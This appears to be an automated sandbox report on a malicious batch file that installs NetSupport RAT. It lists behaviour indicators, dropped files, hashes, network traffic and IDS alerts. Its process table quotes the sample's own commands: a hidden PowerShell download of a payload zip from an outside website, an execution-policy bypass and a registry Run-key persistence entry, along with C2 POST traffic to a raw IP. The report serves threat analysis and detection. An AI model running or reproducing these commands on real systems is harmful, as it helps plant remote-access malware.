| File name: | jkdffggsdf.bat |
| Full analysis: | https://app.any.run/tasks/45cdd2dc-a5ce-4a0a-ab5c-1ded0b497eda |
| Verdict: | Malicious activity |
| Threats: | NetSupport RAT is a malicious adaptation of the legitimate NetSupport Manager, a remote access tool used for IT support, which cybercriminals exploit to gain unauthorized control over systems. It has gained significant traction due to its sophisticated evasion techniques, widespread distribution campaigns, and the challenge it poses to security professionals who must distinguish between legitimate and malicious uses of the underlying software. |
| Analysis date: | April 28, 2025, 17:19:30 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (22864), with CRLF line terminators |
| MD5: | 7B4D9E78FA392EF03D783E7FC9486B2E |
| SHA1: | 2F64DB1A2044EB2D80CED65ABA09BAA3038714E1 |
| SHA256: | F84891ECEB61189330761734710C8093792146AB13C0D96885285DC208C9902E |
| SSDEEP: | 1536:LvY5qeoohqxLWzs26yKlvY5qeoohqxLWzs26yDvY5qeoohqxLWzs26yH:7Y5YxLWzs2sZY5YxLWzs29Y5YxLWzs2F |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 7472)
- powershell.exe (PID: 7616)
Changes the autorun value in the registry
- reg.exe (PID: 780)
Executing a file with an untrusted certificate
- client32.exe (PID: 1912)
NETSUPPORT mutex has been found
- client32.exe (PID: 1912)
Bypass execution policy to execute commands
- powershell.exe (PID: 7284)
NETSUPPORT has been detected (YARA)
- client32.exe (PID: 1912)
Connects to the CnC server
- client32.exe (PID: 1912)
NETSUPPORT has been detected (SURICATA)
- client32.exe (PID: 1912)
SUSPICIOUS
Executing commands from a ".bat" file
- powershell.exe (PID: 2088)
Downloads file from URI via Powershell
- powershell.exe (PID: 7472)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 2088)
Identifying current user with WHOAMI command
- powershell.exe (PID: 2088)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 7296)
The process drops C-runtime libraries
- powershell.exe (PID: 7472)
- powershell.exe (PID: 7616)
Drop NetSupport executable file
- powershell.exe (PID: 7616)
- powershell.exe (PID: 7472)
Executable content was dropped or overwritten
- powershell.exe (PID: 7616)
Extracts files to a directory (POWERSHELL)
- powershell.exe (PID: 7616)
Process drops legitimate windows executable
- powershell.exe (PID: 7616)
- powershell.exe (PID: 7472)
The executable file from the user directory is run by the CMD process
- client32.exe (PID: 1912)
Uses REG/REGEDIT.EXE to modify registry
- cmd.exe (PID: 7296)
Connects to the server without a host name
- client32.exe (PID: 1912)
There is functionality for communication over UDP network (YARA)
- client32.exe (PID: 1912)
There is functionality for taking screenshot (YARA)
- client32.exe (PID: 1912)
INFO
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 7284)
- powershell.exe (PID: 2088)
Manual execution by a user
- notepad.exe (PID: 8048)
- powershell.exe (PID: 2088)
Reads security settings of Internet Explorer
- notepad.exe (PID: 8048)
Checks current location (POWERSHELL)
- powershell.exe (PID: 2088)
Gets or sets the time when the file was last written to (POWERSHELL)
- powershell.exe (PID: 2088)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 2088)
Checks proxy server information
- slui.exe (PID: 7300)
- powershell.exe (PID: 7472)
Reads the software policy settings
- slui.exe (PID: 7300)
- slui.exe (PID: 7516)
Gets data length (POWERSHELL)
- powershell.exe (PID: 2088)
Disables trace logs
- powershell.exe (PID: 7472)
The sample compiled with english language support
- powershell.exe (PID: 7472)
- powershell.exe (PID: 7616)
Checks supported languages
- client32.exe (PID: 1912)
Reads the computer name
- client32.exe (PID: 1912)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
148
Monitored processes
14
Malicious processes
5
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 780 | reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Support11" /t REG_SZ /d "C:\Users\admin\AppData\Roaming\Option\client32.exe" /f | C:\Windows\System32\reg.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Registry Console Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1164 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1912 | "C:\Users\admin\AppData\Roaming\Option\client32.exe" | C:\Users\admin\AppData\Roaming\Option\client32.exe | cmd.exe | ||||||||||||
User: admin Company: NetSupport Ltd Integrity Level: HIGH Description: NetSupport Client Application Version: V11.30 Modules
| |||||||||||||||
| 2088 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7284 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass C:\Users\admin\AppData\Local\Temp\jkdffggsdf.bat.ps1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7296 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7296 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\Desktop\jkdffggsdf.bat"" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7300 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7448 | "C:\WINDOWS\system32\whoami.exe" | C:\Windows\System32\whoami.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: whoami - displays logged on user information Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7472 | powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://www.eurobrandsindia.com/wp-content/lemi.zip?70b89d9bde6c1b0629b8' -OutFile 'C:\Users\admin\AppData\Roaming\Applica.zip'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
21 006
Read events
21 005
Write events
1
Delete events
0
Modification events
| (PID) Process: | (780) reg.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Support11 |
Value: C:\Users\admin\AppData\Roaming\Option\client32.exe | |||
Executable files
33
Suspicious files
10
Text files
24
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7284 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CFQLETIQCE357WWOVVF6.temp | binary | |
MD5:33F4E58F2C44C395E7D1635999BA789C | SHA256:CD3E71DA7BE5D49C1519936F7F83775BE9650B6C45004DE1964EB2D86E6708E4 | |||
| 2088 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms | binary | |
MD5:5DD2472E36B8FF8C9323A49FDF213F32 | SHA256:78D9C2A0BD140B074846BDDAEE1803892BAB019C6A7D515CB5C2D39878A6EB4A | |||
| 2088 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF131bd8.TMP | binary | |
MD5:33F4E58F2C44C395E7D1635999BA789C | SHA256:CD3E71DA7BE5D49C1519936F7F83775BE9650B6C45004DE1964EB2D86E6708E4 | |||
| 7284 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xeotyhlj.qru.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2088 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt | text | |
MD5:C2581F02E3A4540198877BB2850BE489 | SHA256:8421AC0B0357262CA35852FFB37ED2CC7BA931E2A1C32E6DDDF1659D6090A4DD | |||
| 7472 | powershell.exe | C:\Users\admin\AppData\Roaming\Applica.zip | compressed | |
MD5:CDCC10383D2FCE9BEBF211069CBB6D19 | SHA256:5C8A906E2DE972A04F7DA2DEF1B3BB55BF122837E2BF0424E4455D9809519CD5 | |||
| 7284 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:09696E6AA3D7996F4051E34F6A1E42E4 | SHA256:FD31AB8630545262E32ED4FBF8C92D4A36FD680A035EA3F2C8DB614754FA406D | |||
| 7616 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5b2r0py4.ag4.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2088 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_03vmpqoq.zj3.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2088 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_u1g2yj4p.4fb.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
26
DNS requests
18
Threats
17
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.176:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 184.30.131.245:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
8176 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
8176 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
1912 | client32.exe | POST | 200 | 185.225.17.74:443 | http://185.225.17.74/fakeurl.htm | unknown | — | — | unknown |
1912 | client32.exe | POST | — | 185.225.17.74:443 | http://185.225.17.74/fakeurl.htm | unknown | — | — | unknown |
1912 | client32.exe | POST | 200 | 185.225.17.74:443 | http://185.225.17.74/fakeurl.htm | unknown | — | — | unknown |
1912 | client32.exe | POST | — | 185.225.17.74:443 | http://185.225.17.74/fakeurl.htm | unknown | — | — | unknown |
1912 | client32.exe | POST | — | 185.225.17.74:443 | http://185.225.17.74/fakeurl.htm | unknown | — | — | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
2104 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 23.48.23.176:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 40.126.31.69:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 184.30.131.245:80 | ocsp.digicert.com | AKAMAI-AS | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1912 | client32.exe | A Network Trojan was detected | REMOTE [ANY.RUN] NetSupport RAT |
1912 | client32.exe | Misc activity | ET REMOTE_ACCESS NetSupport Remote Admin Response |
1912 | client32.exe | A Network Trojan was detected | REMOTE [ANY.RUN] NetSupport RAT |
1912 | client32.exe | Potentially Bad Traffic | ET INFO HTTP traffic on port 443 (POST) |
1912 | client32.exe | Misc activity | ET REMOTE_ACCESS NetSupport Remote Admin Response |
1912 | client32.exe | Misc activity | ET REMOTE_ACCESS NetSupport Remote Admin Checkin |
1912 | client32.exe | Potentially Bad Traffic | ET INFO HTTP traffic on port 443 (POST) |
1912 | client32.exe | Misc activity | ET REMOTE_ACCESS NetSupport Remote Admin Checkin |
1912 | client32.exe | Potentially Bad Traffic | ET INFO HTTP traffic on port 443 (POST) |
1912 | client32.exe | Misc activity | ET REMOTE_ACCESS NetSupport Remote Admin Checkin |